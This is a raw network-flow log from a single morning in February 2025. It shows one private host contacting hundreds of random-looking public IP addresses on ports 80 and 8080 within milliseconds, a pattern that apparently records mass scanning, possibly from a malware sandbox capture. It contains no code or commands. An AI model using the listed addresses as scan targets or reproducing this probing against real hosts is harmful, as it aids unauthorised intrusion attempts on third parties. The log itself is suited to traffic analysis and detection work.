Feb 27, 2025 07:08:35.533380985 CET	80	28098	95.226.176.212	192.168.2.14
Feb 27, 2025 07:08:35.533391953 CET	80	28098	95.13.94.145	192.168.2.14
Feb 27, 2025 07:08:35.533401012 CET	80	28098	95.243.131.14	192.168.2.14
Feb 27, 2025 07:08:35.533405066 CET	80	28098	95.130.246.200	192.168.2.14
Feb 27, 2025 07:08:35.533410072 CET	80	28098	95.49.39.156	192.168.2.14
Feb 27, 2025 07:08:35.533416033 CET	80	28098	95.1.166.98	192.168.2.14
Feb 27, 2025 07:08:35.533420086 CET	80	28098	95.153.142.185	192.168.2.14
Feb 27, 2025 07:08:35.533428907 CET	80	28098	95.17.120.249	192.168.2.14
Feb 27, 2025 07:08:35.533432961 CET	80	28098	95.137.117.190	192.168.2.14
Feb 27, 2025 07:08:35.533433914 CET	28098	80	192.168.2.14	95.226.176.212
Feb 27, 2025 07:08:35.533442974 CET	80	28098	95.168.123.149	192.168.2.14
Feb 27, 2025 07:08:35.533452034 CET	28098	80	192.168.2.14	95.243.131.14
Feb 27, 2025 07:08:35.533452988 CET	80	28098	95.54.191.12	192.168.2.14
Feb 27, 2025 07:08:35.533452034 CET	28098	80	192.168.2.14	95.153.142.185
Feb 27, 2025 07:08:35.533457994 CET	28098	80	192.168.2.14	95.1.166.98
Feb 27, 2025 07:08:35.533462048 CET	80	28098	95.218.71.70	192.168.2.14
Feb 27, 2025 07:08:35.533462048 CET	28098	80	192.168.2.14	95.130.246.200
Feb 27, 2025 07:08:35.533462048 CET	28098	80	192.168.2.14	95.49.39.156
Feb 27, 2025 07:08:35.533467054 CET	28098	80	192.168.2.14	95.17.120.249
Feb 27, 2025 07:08:35.533472061 CET	80	28098	95.96.164.39	192.168.2.14
Feb 27, 2025 07:08:35.533472061 CET	28098	80	192.168.2.14	95.13.94.145
Feb 27, 2025 07:08:35.533474922 CET	28098	80	192.168.2.14	95.137.117.190
Feb 27, 2025 07:08:35.533477068 CET	80	28098	95.255.182.170	192.168.2.14
Feb 27, 2025 07:08:35.533484936 CET	80	28098	95.166.71.164	192.168.2.14
Feb 27, 2025 07:08:35.533493042 CET	80	28098	95.226.194.116	192.168.2.14
Feb 27, 2025 07:08:35.533503056 CET	28098	80	192.168.2.14	95.168.123.149
Feb 27, 2025 07:08:35.533504963 CET	80	28098	95.108.196.49	192.168.2.14
Feb 27, 2025 07:08:35.533515930 CET	80	28098	95.54.77.100	192.168.2.14
Feb 27, 2025 07:08:35.533515930 CET	28098	80	192.168.2.14	95.218.71.70
Feb 27, 2025 07:08:35.533516884 CET	28098	80	192.168.2.14	95.54.191.12
Feb 27, 2025 07:08:35.533521891 CET	28098	80	192.168.2.14	95.255.182.170
Feb 27, 2025 07:08:35.533521891 CET	28098	80	192.168.2.14	95.96.164.39
Feb 27, 2025 07:08:35.533524990 CET	80	28098	95.4.150.139	192.168.2.14
Feb 27, 2025 07:08:35.533528090 CET	28098	80	192.168.2.14	95.166.71.164
Feb 27, 2025 07:08:35.533533096 CET	28098	80	192.168.2.14	95.108.196.49
Feb 27, 2025 07:08:35.533535004 CET	80	28098	95.36.150.22	192.168.2.14
Feb 27, 2025 07:08:35.533544064 CET	80	28098	95.75.116.169	192.168.2.14
Feb 27, 2025 07:08:35.533552885 CET	80	28098	95.55.41.161	192.168.2.14
Feb 27, 2025 07:08:35.533552885 CET	28098	80	192.168.2.14	95.226.194.116
Feb 27, 2025 07:08:35.533552885 CET	28098	80	192.168.2.14	95.54.77.100
Feb 27, 2025 07:08:35.533560991 CET	80	28098	95.166.141.114	192.168.2.14
Feb 27, 2025 07:08:35.533565998 CET	80	28098	95.35.103.171	192.168.2.14
Feb 27, 2025 07:08:35.533576012 CET	80	28098	95.204.115.115	192.168.2.14
Feb 27, 2025 07:08:35.533579111 CET	28098	80	192.168.2.14	95.36.150.22
Feb 27, 2025 07:08:35.533584118 CET	28098	80	192.168.2.14	95.75.116.169
Feb 27, 2025 07:08:35.533585072 CET	28098	80	192.168.2.14	95.4.150.139
Feb 27, 2025 07:08:35.533607006 CET	28098	80	192.168.2.14	95.204.115.115
Feb 27, 2025 07:08:35.533612013 CET	28098	80	192.168.2.14	95.55.41.161
Feb 27, 2025 07:08:35.533612013 CET	28098	80	192.168.2.14	95.166.141.114
Feb 27, 2025 07:08:35.533612013 CET	28098	80	192.168.2.14	95.35.103.171
Feb 27, 2025 07:08:35.533782959 CET	80	28098	95.93.240.149	192.168.2.14
Feb 27, 2025 07:08:35.533792973 CET	80	28098	95.137.232.89	192.168.2.14
Feb 27, 2025 07:08:35.533802032 CET	80	28098	95.143.168.84	192.168.2.14
Feb 27, 2025 07:08:35.533816099 CET	80	28098	95.2.118.19	192.168.2.14
Feb 27, 2025 07:08:35.533828974 CET	80	28098	95.202.125.63	192.168.2.14
Feb 27, 2025 07:08:35.533838034 CET	80	28098	95.139.128.7	192.168.2.14
Feb 27, 2025 07:08:35.533843040 CET	28098	80	192.168.2.14	95.137.232.89
Feb 27, 2025 07:08:35.533843994 CET	28098	80	192.168.2.14	95.143.168.84
Feb 27, 2025 07:08:35.533843994 CET	28098	80	192.168.2.14	95.93.240.149
Feb 27, 2025 07:08:35.533847094 CET	80	28098	95.199.107.18	192.168.2.14
Feb 27, 2025 07:08:35.533855915 CET	80	28098	95.184.161.83	192.168.2.14
Feb 27, 2025 07:08:35.533857107 CET	28098	80	192.168.2.14	95.2.118.19
Feb 27, 2025 07:08:35.533865929 CET	80	28098	95.7.8.175	192.168.2.14
Feb 27, 2025 07:08:35.533873081 CET	28098	80	192.168.2.14	95.202.125.63
Feb 27, 2025 07:08:35.533875942 CET	80	28098	95.241.198.41	192.168.2.14
Feb 27, 2025 07:08:35.533880949 CET	28098	80	192.168.2.14	95.139.128.7
Feb 27, 2025 07:08:35.533885956 CET	28098	80	192.168.2.14	95.199.107.18
Feb 27, 2025 07:08:35.533886909 CET	80	28098	95.84.238.155	192.168.2.14
Feb 27, 2025 07:08:35.533891916 CET	80	28098	95.201.216.130	192.168.2.14
Feb 27, 2025 07:08:35.533895969 CET	80	28098	95.77.71.32	192.168.2.14
Feb 27, 2025 07:08:35.533900023 CET	80	28098	95.198.74.114	192.168.2.14
Feb 27, 2025 07:08:35.533906937 CET	28098	80	192.168.2.14	95.7.8.175
Feb 27, 2025 07:08:35.533909082 CET	80	28098	95.25.102.84	192.168.2.14
Feb 27, 2025 07:08:35.533909082 CET	28098	80	192.168.2.14	95.184.161.83
Feb 27, 2025 07:08:35.533914089 CET	80	28098	95.226.155.250	192.168.2.14
Feb 27, 2025 07:08:35.533925056 CET	80	28098	95.0.193.136	192.168.2.14
Feb 27, 2025 07:08:35.533934116 CET	80	28098	95.210.27.55	192.168.2.14
Feb 27, 2025 07:08:35.533942938 CET	80	28098	95.231.4.45	192.168.2.14
Feb 27, 2025 07:08:35.533946991 CET	28098	80	192.168.2.14	95.201.216.130
Feb 27, 2025 07:08:35.533951044 CET	80	28098	95.255.118.173	192.168.2.14
Feb 27, 2025 07:08:35.533952951 CET	28098	80	192.168.2.14	95.77.71.32
Feb 27, 2025 07:08:35.533957958 CET	28098	80	192.168.2.14	95.241.198.41
Feb 27, 2025 07:08:35.533957958 CET	28098	80	192.168.2.14	95.198.74.114
Feb 27, 2025 07:08:35.533957958 CET	28098	80	192.168.2.14	95.226.155.250
Feb 27, 2025 07:08:35.533968925 CET	28098	80	192.168.2.14	95.0.193.136
Feb 27, 2025 07:08:35.533968925 CET	28098	80	192.168.2.14	95.231.4.45
Feb 27, 2025 07:08:35.533972979 CET	28098	80	192.168.2.14	95.210.27.55
Feb 27, 2025 07:08:35.533977985 CET	28098	80	192.168.2.14	95.84.238.155
Feb 27, 2025 07:08:35.533993006 CET	28098	80	192.168.2.14	95.255.118.173
Feb 27, 2025 07:08:35.534006119 CET	28098	80	192.168.2.14	95.25.102.84
Feb 27, 2025 07:08:35.535480976 CET	25538	8080	192.168.2.14	62.20.217.135
Feb 27, 2025 07:08:35.535495996 CET	25538	8080	192.168.2.14	62.252.251.67
Feb 27, 2025 07:08:35.535499096 CET	25538	8080	192.168.2.14	31.145.246.218
Feb 27, 2025 07:08:35.535499096 CET	25538	8080	192.168.2.14	85.171.69.52
Feb 27, 2025 07:08:35.535499096 CET	25538	8080	192.168.2.14	31.172.230.71
Feb 27, 2025 07:08:35.535504103 CET	25538	8080	192.168.2.14	95.39.90.85
Feb 27, 2025 07:08:35.535504103 CET	25538	8080	192.168.2.14	31.249.51.36
Feb 27, 2025 07:08:35.535510063 CET	25538	8080	192.168.2.14	94.216.14.181
Feb 27, 2025 07:08:35.535515070 CET	25538	8080	192.168.2.14	95.90.58.127
Feb 27, 2025 07:08:35.535521984 CET	25538	8080	192.168.2.14	85.120.216.85
Feb 27, 2025 07:08:35.535521984 CET	25538	8080	192.168.2.14	94.125.5.246
Feb 27, 2025 07:08:35.535522938 CET	25538	8080	192.168.2.14	62.171.232.38
Feb 27, 2025 07:08:35.535521984 CET	25538	8080	192.168.2.14	94.121.129.166
Feb 27, 2025 07:08:35.535521984 CET	25538	8080	192.168.2.14	94.250.200.196
Feb 27, 2025 07:08:35.535526991 CET	25538	8080	192.168.2.14	62.189.129.21
Feb 27, 2025 07:08:35.535526991 CET	25538	8080	192.168.2.14	31.18.230.179
Feb 27, 2025 07:08:35.535536051 CET	25538	8080	192.168.2.14	94.193.58.189
Feb 27, 2025 07:08:35.535542965 CET	25538	8080	192.168.2.14	62.94.120.87
Feb 27, 2025 07:08:35.535542011 CET	25538	8080	192.168.2.14	62.128.16.246
Feb 27, 2025 07:08:35.535542965 CET	25538	8080	192.168.2.14	31.132.114.6
Feb 27, 2025 07:08:35.535542965 CET	25538	8080	192.168.2.14	31.209.40.15
Feb 27, 2025 07:08:35.535542965 CET	25538	8080	192.168.2.14	85.109.44.221
Feb 27, 2025 07:08:35.535554886 CET	47362	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:35.535559893 CET	25538	8080	192.168.2.14	94.209.237.96
Feb 27, 2025 07:08:35.535561085 CET	25538	8080	192.168.2.14	62.234.245.195
Feb 27, 2025 07:08:35.535573006 CET	25538	8080	192.168.2.14	62.102.167.175
Feb 27, 2025 07:08:35.535573959 CET	25538	8080	192.168.2.14	95.165.204.117
Feb 27, 2025 07:08:35.535574913 CET	25538	8080	192.168.2.14	85.49.225.148
Feb 27, 2025 07:08:35.535573006 CET	25538	8080	192.168.2.14	95.156.47.43
Feb 27, 2025 07:08:35.535573006 CET	25538	8080	192.168.2.14	62.77.207.12
Feb 27, 2025 07:08:35.535579920 CET	25538	8080	192.168.2.14	31.179.39.47
Feb 27, 2025 07:08:35.535583019 CET	25538	8080	192.168.2.14	31.189.88.220
Feb 27, 2025 07:08:35.535583019 CET	25538	8080	192.168.2.14	85.133.66.103
Feb 27, 2025 07:08:35.535583973 CET	25538	8080	192.168.2.14	85.70.203.2
Feb 27, 2025 07:08:35.535584927 CET	25538	8080	192.168.2.14	31.123.59.152
Feb 27, 2025 07:08:35.535584927 CET	25538	8080	192.168.2.14	94.108.127.174
Feb 27, 2025 07:08:35.535599947 CET	25538	8080	192.168.2.14	85.247.139.229
Feb 27, 2025 07:08:35.535609007 CET	25538	8080	192.168.2.14	85.241.224.248
Feb 27, 2025 07:08:35.535610914 CET	25538	8080	192.168.2.14	62.168.186.127
Feb 27, 2025 07:08:35.535610914 CET	25538	8080	192.168.2.14	85.192.120.226
Feb 27, 2025 07:08:35.535610914 CET	25538	8080	192.168.2.14	62.201.100.30
Feb 27, 2025 07:08:35.535614014 CET	25538	8080	192.168.2.14	94.185.11.151
Feb 27, 2025 07:08:35.535614967 CET	25538	8080	192.168.2.14	85.245.227.218
Feb 27, 2025 07:08:35.535619974 CET	25538	8080	192.168.2.14	31.41.140.246
Feb 27, 2025 07:08:35.535626888 CET	25538	8080	192.168.2.14	62.60.85.187
Feb 27, 2025 07:08:35.535626888 CET	25538	8080	192.168.2.14	85.226.20.225
Feb 27, 2025 07:08:35.535630941 CET	25538	8080	192.168.2.14	95.84.199.117
Feb 27, 2025 07:08:35.535630941 CET	25538	8080	192.168.2.14	94.193.215.81
Feb 27, 2025 07:08:35.535643101 CET	25538	8080	192.168.2.14	85.209.147.231
Feb 27, 2025 07:08:35.535644054 CET	25538	8080	192.168.2.14	85.33.10.236
Feb 27, 2025 07:08:35.535644054 CET	25538	8080	192.168.2.14	62.190.18.88
Feb 27, 2025 07:08:35.535644054 CET	25538	8080	192.168.2.14	62.41.156.35
Feb 27, 2025 07:08:35.535645962 CET	25538	8080	192.168.2.14	85.47.80.28
Feb 27, 2025 07:08:35.535645962 CET	25538	8080	192.168.2.14	85.22.203.101
Feb 27, 2025 07:08:35.535655975 CET	25538	8080	192.168.2.14	94.77.43.148
Feb 27, 2025 07:08:35.535656929 CET	25538	8080	192.168.2.14	94.120.178.64
Feb 27, 2025 07:08:35.535671949 CET	25538	8080	192.168.2.14	31.171.194.135
Feb 27, 2025 07:08:35.535680056 CET	25538	8080	192.168.2.14	95.52.115.191
Feb 27, 2025 07:08:35.535681963 CET	25538	8080	192.168.2.14	85.33.95.250
Feb 27, 2025 07:08:35.535681963 CET	25538	8080	192.168.2.14	94.137.252.30
Feb 27, 2025 07:08:35.535681963 CET	25538	8080	192.168.2.14	85.64.37.114
Feb 27, 2025 07:08:35.535686016 CET	25538	8080	192.168.2.14	95.187.83.159
Feb 27, 2025 07:08:35.535686016 CET	25538	8080	192.168.2.14	62.24.173.200
Feb 27, 2025 07:08:35.535686970 CET	25538	8080	192.168.2.14	62.237.252.182
Feb 27, 2025 07:08:35.535686016 CET	25538	8080	192.168.2.14	85.64.186.0
Feb 27, 2025 07:08:35.535687923 CET	25538	8080	192.168.2.14	95.140.14.231
Feb 27, 2025 07:08:35.535687923 CET	25538	8080	192.168.2.14	95.174.88.170
Feb 27, 2025 07:08:35.535696030 CET	25538	8080	192.168.2.14	94.180.185.148
Feb 27, 2025 07:08:35.535696030 CET	25538	8080	192.168.2.14	31.71.238.223
Feb 27, 2025 07:08:35.535696983 CET	25538	8080	192.168.2.14	95.139.152.252
Feb 27, 2025 07:08:35.535708904 CET	25538	8080	192.168.2.14	95.233.161.65
Feb 27, 2025 07:08:35.535710096 CET	25538	8080	192.168.2.14	85.254.170.35
Feb 27, 2025 07:08:35.535710096 CET	25538	8080	192.168.2.14	94.124.85.36
Feb 27, 2025 07:08:35.535712004 CET	25538	8080	192.168.2.14	94.213.174.123
Feb 27, 2025 07:08:35.535710096 CET	25538	8080	192.168.2.14	95.65.188.151
Feb 27, 2025 07:08:35.535718918 CET	25538	8080	192.168.2.14	62.119.30.176
Feb 27, 2025 07:08:35.535728931 CET	25538	8080	192.168.2.14	94.43.33.143
Feb 27, 2025 07:08:35.535737038 CET	25538	8080	192.168.2.14	95.94.63.84
Feb 27, 2025 07:08:35.535741091 CET	25538	8080	192.168.2.14	94.221.175.94
Feb 27, 2025 07:08:35.535741091 CET	25538	8080	192.168.2.14	95.144.198.74
Feb 27, 2025 07:08:35.535741091 CET	25538	8080	192.168.2.14	95.170.46.242
Feb 27, 2025 07:08:35.535742998 CET	25538	8080	192.168.2.14	95.251.148.32
Feb 27, 2025 07:08:35.535742998 CET	25538	8080	192.168.2.14	62.217.1.4
Feb 27, 2025 07:08:35.535746098 CET	25538	8080	192.168.2.14	31.90.36.4
Feb 27, 2025 07:08:35.535747051 CET	25538	8080	192.168.2.14	62.239.216.127
Feb 27, 2025 07:08:35.535747051 CET	25538	8080	192.168.2.14	95.145.117.129
Feb 27, 2025 07:08:35.535765886 CET	25538	8080	192.168.2.14	94.38.212.17
Feb 27, 2025 07:08:35.535765886 CET	25538	8080	192.168.2.14	62.29.105.214
Feb 27, 2025 07:08:35.535765886 CET	25538	8080	192.168.2.14	94.2.138.85
Feb 27, 2025 07:08:35.535767078 CET	25538	8080	192.168.2.14	62.210.50.52
Feb 27, 2025 07:08:35.535768032 CET	25538	8080	192.168.2.14	94.24.79.120
Feb 27, 2025 07:08:35.535767078 CET	25538	8080	192.168.2.14	94.124.92.226
Feb 27, 2025 07:08:35.535768986 CET	25538	8080	192.168.2.14	95.78.167.159
Feb 27, 2025 07:08:35.535778046 CET	25538	8080	192.168.2.14	85.131.115.206
Feb 27, 2025 07:08:35.535780907 CET	25538	8080	192.168.2.14	94.160.198.99
Feb 27, 2025 07:08:35.535782099 CET	25538	8080	192.168.2.14	85.61.186.61
Feb 27, 2025 07:08:35.535784960 CET	25538	8080	192.168.2.14	85.87.67.190
Feb 27, 2025 07:08:35.535784960 CET	25538	8080	192.168.2.14	85.43.182.181
Feb 27, 2025 07:08:35.535800934 CET	25538	8080	192.168.2.14	94.211.96.47
Feb 27, 2025 07:08:35.535800934 CET	25538	8080	192.168.2.14	31.253.186.63
Feb 27, 2025 07:08:35.535801888 CET	25538	8080	192.168.2.14	85.178.46.198
Feb 27, 2025 07:08:35.535800934 CET	25538	8080	192.168.2.14	85.253.111.3
Feb 27, 2025 07:08:35.535815954 CET	25538	8080	192.168.2.14	95.71.35.33
Feb 27, 2025 07:08:35.535815954 CET	25538	8080	192.168.2.14	62.217.89.217
Feb 27, 2025 07:08:35.535816908 CET	25538	8080	192.168.2.14	85.67.181.206
Feb 27, 2025 07:08:35.535816908 CET	25538	8080	192.168.2.14	85.91.91.175
Feb 27, 2025 07:08:35.535816908 CET	25538	8080	192.168.2.14	85.230.174.200
Feb 27, 2025 07:08:35.535816908 CET	25538	8080	192.168.2.14	95.57.36.169
Feb 27, 2025 07:08:35.535826921 CET	25538	8080	192.168.2.14	62.151.24.146
Feb 27, 2025 07:08:35.535832882 CET	25538	8080	192.168.2.14	95.155.9.36
Feb 27, 2025 07:08:35.535834074 CET	25538	8080	192.168.2.14	62.196.57.91
Feb 27, 2025 07:08:35.535832882 CET	25538	8080	192.168.2.14	95.178.30.184
Feb 27, 2025 07:08:35.535834074 CET	25538	8080	192.168.2.14	31.178.228.205
Feb 27, 2025 07:08:35.535840034 CET	25538	8080	192.168.2.14	62.188.203.53
Feb 27, 2025 07:08:35.535839081 CET	25538	8080	192.168.2.14	62.178.245.188
Feb 27, 2025 07:08:35.535840988 CET	25538	8080	192.168.2.14	85.227.194.241
Feb 27, 2025 07:08:35.535839081 CET	25538	8080	192.168.2.14	31.124.43.253
Feb 27, 2025 07:08:35.535847902 CET	25538	8080	192.168.2.14	31.244.41.107
Feb 27, 2025 07:08:35.535850048 CET	25538	8080	192.168.2.14	94.106.127.65
Feb 27, 2025 07:08:35.535851002 CET	25538	8080	192.168.2.14	85.162.253.127
Feb 27, 2025 07:08:35.535856009 CET	25538	8080	192.168.2.14	62.199.219.212
Feb 27, 2025 07:08:35.535856009 CET	25538	8080	192.168.2.14	31.229.68.155
Feb 27, 2025 07:08:35.535857916 CET	25538	8080	192.168.2.14	31.194.143.241
Feb 27, 2025 07:08:35.535857916 CET	25538	8080	192.168.2.14	31.200.234.169
Feb 27, 2025 07:08:35.535870075 CET	25538	8080	192.168.2.14	62.49.29.141
Feb 27, 2025 07:08:35.535871983 CET	25538	8080	192.168.2.14	95.38.237.170
Feb 27, 2025 07:08:35.535871983 CET	25538	8080	192.168.2.14	85.88.107.178
Feb 27, 2025 07:08:35.535871983 CET	25538	8080	192.168.2.14	31.43.154.205
Feb 27, 2025 07:08:35.535885096 CET	25538	8080	192.168.2.14	95.180.36.66
Feb 27, 2025 07:08:35.535885096 CET	25538	8080	192.168.2.14	95.187.246.178
Feb 27, 2025 07:08:35.535885096 CET	25538	8080	192.168.2.14	31.207.51.228
Feb 27, 2025 07:08:35.535885096 CET	25538	8080	192.168.2.14	31.28.33.1
Feb 27, 2025 07:08:35.535890102 CET	25538	8080	192.168.2.14	95.64.133.96
Feb 27, 2025 07:08:35.535890102 CET	25538	8080	192.168.2.14	31.59.146.110
Feb 27, 2025 07:08:35.535886049 CET	25538	8080	192.168.2.14	62.55.208.109
Feb 27, 2025 07:08:35.535898924 CET	25538	8080	192.168.2.14	95.111.37.171
Feb 27, 2025 07:08:35.535906076 CET	25538	8080	192.168.2.14	31.168.15.224
Feb 27, 2025 07:08:35.535907984 CET	25538	8080	192.168.2.14	94.14.155.255
Feb 27, 2025 07:08:35.535907984 CET	25538	8080	192.168.2.14	31.231.58.183
Feb 27, 2025 07:08:35.535917044 CET	25538	8080	192.168.2.14	62.195.182.193
Feb 27, 2025 07:08:35.535923958 CET	25538	8080	192.168.2.14	62.51.70.108
Feb 27, 2025 07:08:35.535923958 CET	25538	8080	192.168.2.14	95.217.150.202
Feb 27, 2025 07:08:35.535928965 CET	25538	8080	192.168.2.14	95.43.43.24
Feb 27, 2025 07:08:35.535933018 CET	25538	8080	192.168.2.14	85.73.35.33
Feb 27, 2025 07:08:35.535933971 CET	25538	8080	192.168.2.14	94.6.117.192
Feb 27, 2025 07:08:35.535934925 CET	25538	8080	192.168.2.14	62.10.83.73
Feb 27, 2025 07:08:35.535943031 CET	25538	8080	192.168.2.14	94.137.230.74
Feb 27, 2025 07:08:35.535949945 CET	25538	8080	192.168.2.14	94.166.247.67
Feb 27, 2025 07:08:35.535950899 CET	25538	8080	192.168.2.14	95.235.172.114
Feb 27, 2025 07:08:35.535950899 CET	25538	8080	192.168.2.14	94.27.11.2
Feb 27, 2025 07:08:35.535950899 CET	25538	8080	192.168.2.14	94.166.215.92
Feb 27, 2025 07:08:35.535955906 CET	25538	8080	192.168.2.14	95.118.65.74
Feb 27, 2025 07:08:35.535950899 CET	25538	8080	192.168.2.14	31.246.198.220
Feb 27, 2025 07:08:35.535949945 CET	25538	8080	192.168.2.14	95.137.57.161
Feb 27, 2025 07:08:35.535954952 CET	25538	8080	192.168.2.14	94.64.248.23
Feb 27, 2025 07:08:35.535955906 CET	25538	8080	192.168.2.14	85.249.17.77
Feb 27, 2025 07:08:35.535954952 CET	25538	8080	192.168.2.14	31.9.202.169
Feb 27, 2025 07:08:35.535963058 CET	25538	8080	192.168.2.14	94.176.203.248
Feb 27, 2025 07:08:35.535974979 CET	25538	8080	192.168.2.14	95.5.165.196
Feb 27, 2025 07:08:35.535976887 CET	25538	8080	192.168.2.14	95.15.237.145
Feb 27, 2025 07:08:35.535978079 CET	25538	8080	192.168.2.14	62.96.228.29
Feb 27, 2025 07:08:35.535975933 CET	25538	8080	192.168.2.14	85.126.73.214
Feb 27, 2025 07:08:35.535978079 CET	25538	8080	192.168.2.14	85.181.138.94
Feb 27, 2025 07:08:35.535975933 CET	25538	8080	192.168.2.14	62.225.245.141
Feb 27, 2025 07:08:35.535985947 CET	25538	8080	192.168.2.14	85.162.168.2
Feb 27, 2025 07:08:35.535985947 CET	25538	8080	192.168.2.14	85.232.3.234
Feb 27, 2025 07:08:35.535985947 CET	25538	8080	192.168.2.14	94.117.32.73
Feb 27, 2025 07:08:35.535985947 CET	25538	8080	192.168.2.14	95.213.195.143
Feb 27, 2025 07:08:35.535985947 CET	25538	8080	192.168.2.14	94.31.123.17
Feb 27, 2025 07:08:35.535994053 CET	25538	8080	192.168.2.14	95.232.49.209
Feb 27, 2025 07:08:35.536017895 CET	25538	8080	192.168.2.14	62.117.29.31
Feb 27, 2025 07:08:35.536022902 CET	25538	8080	192.168.2.14	31.63.34.182
Feb 27, 2025 07:08:35.536022902 CET	25538	8080	192.168.2.14	95.161.183.61
Feb 27, 2025 07:08:35.536026955 CET	25538	8080	192.168.2.14	95.186.153.77
Feb 27, 2025 07:08:35.536027908 CET	25538	8080	192.168.2.14	94.126.2.78
Feb 27, 2025 07:08:35.536027908 CET	25538	8080	192.168.2.14	62.56.42.158
Feb 27, 2025 07:08:35.536036968 CET	25538	8080	192.168.2.14	62.70.174.31
Feb 27, 2025 07:08:35.536036968 CET	25538	8080	192.168.2.14	95.176.207.212
Feb 27, 2025 07:08:35.536040068 CET	25538	8080	192.168.2.14	94.62.127.207
Feb 27, 2025 07:08:35.536040068 CET	25538	8080	192.168.2.14	62.15.158.164
Feb 27, 2025 07:08:35.536047935 CET	25538	8080	192.168.2.14	31.213.224.212
Feb 27, 2025 07:08:35.536050081 CET	25538	8080	192.168.2.14	94.164.155.140
Feb 27, 2025 07:08:35.536051989 CET	25538	8080	192.168.2.14	85.12.1.216
Feb 27, 2025 07:08:35.536051989 CET	25538	8080	192.168.2.14	95.76.26.213
Feb 27, 2025 07:08:35.536052942 CET	25538	8080	192.168.2.14	94.97.193.156
Feb 27, 2025 07:08:35.536052942 CET	25538	8080	192.168.2.14	94.103.33.212
Feb 27, 2025 07:08:35.536052942 CET	25538	8080	192.168.2.14	85.190.176.157
Feb 27, 2025 07:08:35.536052942 CET	25538	8080	192.168.2.14	85.55.36.41
Feb 27, 2025 07:08:35.536051989 CET	25538	8080	192.168.2.14	85.95.159.110
Feb 27, 2025 07:08:35.536057949 CET	25538	8080	192.168.2.14	94.83.6.240
Feb 27, 2025 07:08:35.536051989 CET	25538	8080	192.168.2.14	62.41.156.228
Feb 27, 2025 07:08:35.536052942 CET	25538	8080	192.168.2.14	85.87.90.217
Feb 27, 2025 07:08:35.536058903 CET	25538	8080	192.168.2.14	94.217.139.22
Feb 27, 2025 07:08:35.536063910 CET	25538	8080	192.168.2.14	85.69.146.2
Feb 27, 2025 07:08:35.536071062 CET	25538	8080	192.168.2.14	94.238.195.178
Feb 27, 2025 07:08:35.536071062 CET	25538	8080	192.168.2.14	95.97.82.99
Feb 27, 2025 07:08:35.536071062 CET	25538	8080	192.168.2.14	31.187.139.92
Feb 27, 2025 07:08:35.536077976 CET	25538	8080	192.168.2.14	85.63.218.131
Feb 27, 2025 07:08:35.536082029 CET	25538	8080	192.168.2.14	95.165.18.73
Feb 27, 2025 07:08:35.536082029 CET	25538	8080	192.168.2.14	95.126.225.193
Feb 27, 2025 07:08:35.536083937 CET	25538	8080	192.168.2.14	31.242.122.108
Feb 27, 2025 07:08:35.536098003 CET	25538	8080	192.168.2.14	85.31.63.148
Feb 27, 2025 07:08:35.536102057 CET	25538	8080	192.168.2.14	94.208.242.14
Feb 27, 2025 07:08:35.536102057 CET	25538	8080	192.168.2.14	95.74.14.83
Feb 27, 2025 07:08:35.536103010 CET	25538	8080	192.168.2.14	85.37.22.141
Feb 27, 2025 07:08:35.536103010 CET	25538	8080	192.168.2.14	85.195.147.119
Feb 27, 2025 07:08:35.536103964 CET	25538	8080	192.168.2.14	62.115.98.141
Feb 27, 2025 07:08:35.536113024 CET	25538	8080	192.168.2.14	31.255.235.203
Feb 27, 2025 07:08:35.536114931 CET	25538	8080	192.168.2.14	85.24.144.160
Feb 27, 2025 07:08:35.536118031 CET	25538	8080	192.168.2.14	85.104.144.152
Feb 27, 2025 07:08:35.536123037 CET	25538	8080	192.168.2.14	94.36.175.209
Feb 27, 2025 07:08:35.536125898 CET	25538	8080	192.168.2.14	62.101.225.74
Feb 27, 2025 07:08:35.536142111 CET	25538	8080	192.168.2.14	85.190.223.225
Feb 27, 2025 07:08:35.536142111 CET	25538	8080	192.168.2.14	94.225.16.50
Feb 27, 2025 07:08:35.536153078 CET	25538	8080	192.168.2.14	62.99.43.63
Feb 27, 2025 07:08:35.536153078 CET	25538	8080	192.168.2.14	95.241.87.195
Feb 27, 2025 07:08:35.536163092 CET	25538	8080	192.168.2.14	31.75.75.102
Feb 27, 2025 07:08:35.536164999 CET	25538	8080	192.168.2.14	62.91.172.229
Feb 27, 2025 07:08:35.536165953 CET	25538	8080	192.168.2.14	94.244.1.183
Feb 27, 2025 07:08:35.536164999 CET	25538	8080	192.168.2.14	85.4.53.220
Feb 27, 2025 07:08:35.536165953 CET	25538	8080	192.168.2.14	62.144.96.60
Feb 27, 2025 07:08:35.536164999 CET	25538	8080	192.168.2.14	31.128.97.100
Feb 27, 2025 07:08:35.536175013 CET	25538	8080	192.168.2.14	95.210.139.83
Feb 27, 2025 07:08:35.536178112 CET	25538	8080	192.168.2.14	31.50.253.33
Feb 27, 2025 07:08:35.536178112 CET	25538	8080	192.168.2.14	95.76.242.213
Feb 27, 2025 07:08:35.536178112 CET	25538	8080	192.168.2.14	85.162.194.43
Feb 27, 2025 07:08:35.536185980 CET	25538	8080	192.168.2.14	85.43.72.199
Feb 27, 2025 07:08:35.536190987 CET	25538	8080	192.168.2.14	85.202.220.23
Feb 27, 2025 07:08:35.536204100 CET	25538	8080	192.168.2.14	31.125.97.223
Feb 27, 2025 07:08:35.536205053 CET	25538	8080	192.168.2.14	85.105.57.224
Feb 27, 2025 07:08:35.536210060 CET	25538	8080	192.168.2.14	85.1.87.106
Feb 27, 2025 07:08:35.536210060 CET	25538	8080	192.168.2.14	95.86.221.66
Feb 27, 2025 07:08:35.536210060 CET	25538	8080	192.168.2.14	31.59.149.151
Feb 27, 2025 07:08:35.536212921 CET	25538	8080	192.168.2.14	85.138.164.112
Feb 27, 2025 07:08:35.536215067 CET	25538	8080	192.168.2.14	95.200.117.184
Feb 27, 2025 07:08:35.536221981 CET	25538	8080	192.168.2.14	94.66.226.5
Feb 27, 2025 07:08:35.536226034 CET	25538	8080	192.168.2.14	95.137.216.226
Feb 27, 2025 07:08:35.536226034 CET	25538	8080	192.168.2.14	85.49.231.40
Feb 27, 2025 07:08:35.536232948 CET	25538	8080	192.168.2.14	85.15.128.186
Feb 27, 2025 07:08:35.536232948 CET	25538	8080	192.168.2.14	85.213.27.228
Feb 27, 2025 07:08:35.536235094 CET	25538	8080	192.168.2.14	95.215.92.17
Feb 27, 2025 07:08:35.536238909 CET	25538	8080	192.168.2.14	85.151.192.252
Feb 27, 2025 07:08:35.536242008 CET	25538	8080	192.168.2.14	85.251.137.87
Feb 27, 2025 07:08:35.536248922 CET	25538	8080	192.168.2.14	94.20.33.24
Feb 27, 2025 07:08:35.536248922 CET	25538	8080	192.168.2.14	94.232.225.156
